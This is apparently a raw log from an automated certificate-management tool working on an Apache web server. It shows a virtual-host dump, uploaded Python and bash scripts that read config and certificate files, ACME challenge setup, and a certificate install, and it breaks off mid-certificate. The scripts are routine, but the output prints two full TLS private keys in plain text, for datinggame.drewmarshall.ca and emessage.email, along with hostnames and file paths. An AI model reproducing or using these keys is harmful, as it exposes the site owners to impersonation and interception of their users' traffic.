port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:02:27:
PUT: /tmp/pkp115905
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:02:27:
chmod 755 /tmp/pkp115905; /tmp/pkp115905; rm /tmp/pkp115905
2025-09-06 06:02:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 1409
<VirtualHost *:80>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName datinggame.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
DocumentRoot /var/www/drewmarshall_datinggame
<Directory /var/www/drewmarshall_datinggame>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/datinggame_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/datinggame_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:02:27:
PUT: /tmp/pkp121281
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:02:27:
chmod 755 /tmp/pkp121281; /tmp/pkp121281; rm /tmp/pkp121281
2025-09-06 06:02:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt 5378
f4:72:73:5e:54:28:01:6e:1c:8b:95:94:9a:9f:5d:34
-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBapWMGre/loGfnyA6kln7fUaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzUzWhcNMjUxMjA1MDUwMzUyWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALWvJjUCQSCzoMTMTiLodLxx3uiLvSdWkpcs9q6YwkklqhY2
oRoiuGwdPea3cJTGf35HimTa6Mhd95QRPlXTHXToIXeU6B2QocsfhiD8NGJ1q91b
U+7Jb6yLznzNou3N/qchXkuM64QOhQMwyIAkatES2SngfmhOuSETyxhxmHIeI2J6
emhY6vbRd/hNnfS32WY4rMzEa+IrU5hQLP/Fz+rsLT439KLzW12e+HtmUjq+XNcB
jdHVtowwKvwE/+vpSlhCXVMhHbls99MYo7FbF8EmVPqhyWHq+tqijkfD1ixSdDDM
l1soo4nn4EEEskEjtEl2Nrxxld7dz0hPZDHJCtUCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUOWmJjCMDAL3vPAWt1OYCVYPxpJ8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzI3LmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvl
hiY6AAABmR2eZBQAAAQDAEcwRQIgFJJjzgfsBzqvMrSvIY0ulgfaemCfnFJcddsx
lGSxnPoCIQDZ6jW9if9KIpGkbelU/taMWgPIQXiALa1pgu9KMxa54AB2AMz7D2qF
cQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAABmR2ea/QAAAQDAEcwRQIhAKIj
Tx0JV1Q7egcYoRV4M6LpW/sq3B3GuhMT8YNarf5JAiAPxDPcYaPMjtpl1SfnuspC
xEbAL65/2e5n3xrjR7j/+TANBgkqhkiG9w0BAQsFAAOCAQEAhCaVqdeYUyiKu68C
QQh9EpzNXer3tNt60IINoZP1kVjIcQ8IS7m8RAwiSo/Ij3F0LEO0HY6iRSPJDmOw
KWcItlkIa69+6sj3vfyWHnVyb5gEyUji4aZe0OoUv1F7AACX6lMq9hOTFufGZO+I
eqKHQ2mjve5f1XnvZ359guA2wUcs9EDhBsd89U6hoaMC/+/i96H7sTzIUCoWbXUk
LkM0a7gDk6YswQXfUffoFOV74CTb5jFSNab2OnVtUEptOBWJXg8h90hg1ily+rgF
WTXKEoD0W0Bux6LGKRMS0Bsq0f5a5sK/QGaIiFFbYRpMMpwyqtKoyBaP9IzWVnBP
k1ibvA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1ryY1AkEgs6DE
zE4i6HS8cd7oi70nVpKXLPaumMJJJaoWNqEaIrhsHT3mt3CUxn9+R4pk2ujIXfeU
ET5V0x106CF3lOgdkKHLH4Yg/DRidavdW1PuyW+si858zaLtzf6nIV5LjOuEDoUD
MMiAJGrREtkp4H5oTrkhE8sYcZhyHiNienpoWOr20Xf4TZ30t9lmOKzMxGviK1OY
UCz/xc/q7C0+N/Si81tdnvh7ZlI6vlzXAY3R1baMMCr8BP/r6UpYQl1TIR25bPfT
GKOxWxfBJlT6oclh6vraoo5Hw9YsUnQwzJdbKKOJ5+BBBLJBI7RJdja8cZXe3c9I
T2QxyQrVAgMBAAECggEAPo2DNhUEn2G5JIjDDjnCl28NNDuIcJbZ+bq9Y/esTMru
+J7ucLUrke2vdlQKKu78zlmLSJYmN3ZC23PkZmA9cBbMDwPxttwpGGpOH+U1lAC3
n4rmJvyruliYS1fxlLarypcuhAyMufbVzPdq0NO5AyreIhDs9LTGAKFz94KE3iT1
pUlOgrv/utf5a2xJMxOkXtS+XokpNBpNZgC1p2EyyhGhOUl2DK7aKTRV13qYZnAb
h1gBYKP2Ebk2KDNg6S8dbfaf/F00SZq3LNHSihd9UTiM1OXTLKUS/ltUDJgWNC0L
tJE0eJp0wltsevcsqcxOVO7k76FJIglHmTfOAcfVgQKBgQDf8dyupanpcigm9lTh
9Jx7UbkClsOb1TaxOAjm/jF7QtlCeX5v+7GBrv9V2ilkHKtx8dPDAfeVIEGt6tHi
1pyuOWaasTlV8tngVMnioBNpirl3OsGHBpYGQ3eNNbbH1nMJUATKix2SLLUNIp/Q
A5gPGQXEWjKpMtW4qgfauGmmrQKBgQDPsLUrhB5kDkNXDOOriLJ+9DgssUQeAKml
acjjb3ZanCI4BV0VIBltlN0X5isYrJFUXokjWFD2MuUBS1yrwgXf//Pho8xFf1YL
SnhU1RSWScg+CKN96lPqbm8YZdMd5gO5dh9Uh6Atfd8bqFBgEuAZiN/5gLehzKJH
JhG5BDiByQKBgQDNmFeZA0B9sK9KLeZ51z9+O+XViaIlw9ZFVwNdRksZNaMOU0oP
9wvc2lNSd0p+vY9sua5HHtw0zXte9vEgBxWrIcmgBUp1LNJ4EH+UDpAj2hcxbgDU
POio8XGlc4XN64SLLSpo5NUOKPtDBuGfcF0+pyNTQ9e03JW3xmoVlC5ytQKBgG4p
os9EMwKLdjiUQ6bWyScBz1IVbLYlT9bHd6D7nGGPc68XWTo9Xn97eJKWqcFat3Ny
+Xbf/4G3mTTIjo0kSw13rBrBUTaDxlYS2CTXKSZWWHpfBqlhQ8WTciYUzJiNSuhy
uUeS8OlwXIlFC+0J1gh1S6gCGGUgL+thTAFBNd/RAoGBANpgKGIFJ4WAn4zYHhsP
LSTWYWxJEms/kPf7hGY2dnQFAt066pO2dELkQJBQIBjSE0l5kUrypYPZEcMgg3ol
oNut3OWb6yLtRLIfk0EnAkwu15ZOVvqqz+cVI1rLeOCdqSQfX1DItRxC9tl78E0f
o5yH8LcPAe6LwZ9wjDifiAax
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-07 06:00:01: Establishing a connection
2025-09-07 06:00:01: Establishing a connection
2025-09-07 06:00:02:
PUT: /tmp/pkp209539
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-07 06:00:03:
chmod 755 /tmp/pkp209539; /tmp/pkp209539; rm /tmp/pkp209539
2025-09-07 06:00:03:
0
2025-09-08 06:00:01: Establishing a connection
2025-09-08 06:00:01: Establishing a connection
2025-09-08 06:00:01:
PUT: /tmp/pkp755593
#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-08 06:00:02:
chmod 755 /tmp/pkp755593; /tmp/pkp755593; rm /tmp/pkp755593
2025-09-08 06:00:02:
1
2025-09-08 06:00:03: Establishing a connection
2025-09-08 06:00:04:
PUT: /tmp/pkp545243
#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo
cat > iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ
cat > P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU
2025-09-08 06:00:04:
chmod 755 /tmp/pkp545243; /tmp/pkp545243; rm /tmp/pkp545243
2025-09-08 06:00:04:
2025-09-08 06:00:18: Establishing a connection
2025-09-08 06:00:18:
PUT: /tmp/pkp692083
#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo
rm iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ
rm P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU
2025-09-08 06:00:18:
chmod 755 /tmp/pkp692083; /tmp/pkp692083; rm /tmp/pkp692083
2025-09-08 06:00:18:
2025-09-08 06:00:18: Establishing a connection
2025-09-08 06:00:18:
PUT: /tmp/pkp131643
#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
cat > $temp_file <<'endmsg'
f7:01:e7:3b:30:f2:f5:f8:fb:73:de:e0:d7:97:65:3a
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBlYIsPhhqsK8KLN1X0BQB/3aMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMTQ4WhcNMjUxMjA3MDUwMTQ3WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKj9F1JpSO9rA5vUWjcDKjFwhi+/yVCZn7vAJXH/C+GB06WRwxoohq6Eu1Qw6ow3
49Sv0bUYdJLigWhfecmBLGdJ2mmWhT9yvRg8byQt8QMOi4NbblbYzQSSStQtvJqw
D/AuO85XBxOiNg3Kb8vfVAtqwrXC4dZUlg4Z/VD/9BKZktDVq5YZhufY+ADopoJ6
+RiZapKmARuP3VWPBhtaJAAyQIIB6g3MD2Ma0pwXi/AQegS0Z13IR0qsY/lXVuvK
n1nzft5zpWWg2DH4zzziUJkIWO8ZgMW/81F6ox9Fxwy14b3SQPWaBh59tyHoTKbf
jP5WfNdFih6x46JZe8uS3tUCAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUgbZz/SYricIfGhFKo+1RNIt2ar4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
OTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZJ+kxoQAABAMARzBFAiATChihJli0R0dl9TLK
Rjsx4VbMmmL01vn8SsXe9DPMYAIhAKiji0m/wlhPtv4Pq+RTpWd30WHrSvnYvxcz
LYqXUpexAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZJ+kx
1QAABAMARzBFAiEAxQBk2l/Wikus7++X6KpW4UqDusqoz4Q/jJEnJPIfL1oCIA7h
ZjMhIP2pyUasuvKPYF8/mJJMoqyNpblkfBB8uOmRMA0GCSqGSIb3DQEBCwUAA4IB
AQAhjjajYwn7AXyXJsq+wVl1SQHJ3Zd4mshZxH1vEwzLphND9aS38DmOUfKZhvgx
gNOvlxdIsE7QrRAgle3gZFkHGhhTl7pWlOrVuK/OYPwrnN1niYFfiolLf6RAU1+s
ElJOTkY/Ti0hhurt15ODuwYCCdh8bdwBH+D/B8RMp4D+5BH0MeWirQpcHJpNmfp4
IaIe/ImJ7VDWWM9vFWY5EFBD6IpNj5W84OOU+Biz5SauXJMxXNjgtWVv6IEImdQX
WC/cwPNCXll494iJTc8c8/d5MjBwwHhu7x78yP2M2vNwb+2jO6QVB0TbtARNGjvl
GyLzkKzGp7wUZsXiQzxDII06
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCo/RdSaUjvawOb
1Fo3AyoxcIYvv8lQmZ+7wCVx/wvhgdOlkcMaKIauhLtUMOqMN+PUr9G1GHSS4oFo
X3nJgSxnSdpploU/cr0YPG8kLfEDDouDW25W2M0EkkrULbyasA/wLjvOVwcTojYN
ym/L31QLasK1wuHWVJYOGf1Q//QSmZLQ1auWGYbn2PgA6KaCevkYmWqSpgEbj91V
jwYbWiQAMkCCAeoNzA9jGtKcF4vwEHoEtGddyEdKrGP5V1bryp9Z837ec6VloNgx
+M884lCZCFjvGYDFv/NReqMfRccMteG90kD1mgYefbch6Eym34z+VnzXRYoeseOi
WXvLkt7VAgMBAAECggEAN4IC4iARRAtbwRjslTtl5Z13hkGyB9aeYFaKNjq3lVhG
xBDwDCyZqMOSoOH8eRh2rssd0CV7TTA3n6gU4fqbMkZRBvPZSvEOaeKYA0NP8lgZ
vYkP4lkOZt0C1VU8qXcBlTwqiumNOobCyJ7hQA9YlPN5h6i+898O9wzUZ4Hbkyv0
CSKZ3o5rZLX21NKjbw7/yOEPZodd3rpkfmYYAJiWZqn2zkus+daM845kAULLM3Ne
Hubkf81zN9pMoK6UngPRdrqRmLWyu6+43PPOfH+hdrn2BdT6Lnduji89/jVYH6LR
81WbwOnrP8oqdRlqVmBrrlTUh3oPi1nlQRRLfWIbFQKBgQDY/539jw7GhaX9PVwt
4nMJcdUqYSqErLTOya9mXug44C1of1qjcX92vTws7lZobxfz3DIoM+vRWjtvUtac
KvNlxKU7rWluLokiwVEcskeFPpNR0uU7haDWKDNXy0Bi5CH/oDSFbupI4YRbep8Z
1B0E6ua4RK8VPG+IP7dEMuaYIwKBgQDHXHpGcil+Nvehvhi5D0/EFJdqGAY2waUc
pBQogpti0890b2mNilwYF/tP7eoW4ihe72EWQi5WUI73KOufntYQ0pvaq0leemh2
CRpkFgOBFVLaX/D2HZRqsKXkscw12eOBYkxFX1n712MljawHMaAmpbn2xvQI6TwP
Ewif6s3gpwKBgQDP7RcpGAQTa4qivkHuYZbTDPUxt4szN/3ES3M7R2OC5CP+hlGG
XUHCuA7KCtJXHWQ5MdwJs76Zirl6sUicuXciI6wkI8TrY8HZwJ0FPzrSzSQCem9W
enOj4T9ZN5OJbom5VHwfAymRDi5yLWv4Jsxrot3S4VVWpuNEDbGAsrlMOwKBgQCF
GeX9IH05aiN8ljlVXLapuAG7cJy9dB3zeEyJG2H44mdQWo4DVMvVvjUokTRH4OiJ
MZMFVFwxfolk1KozoM1U3/f0T4WlkV4q6Dr5dYUTapQtff6XovoTHSs0+8vWbEmr
eWBotJeUP6JPUT34c5Z0FxOIgh4t0OIrQk7wzch0YwKBgQCRdw7MsM55LJyUnR1E
L44ZRaVVr1dFek/NQ3SmddzfnmzIGxIRw8ctSJfSxsnA9vSzqAH66McYYWQMChJy
qMDpnoQWSpMdhuUTkr30gMFsIIfaTf6cHw8FKFfsrmRPtYjrCekb0PIiHMyToC+x
RHrJkNPqszY87XVZzUbeAKCSJQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
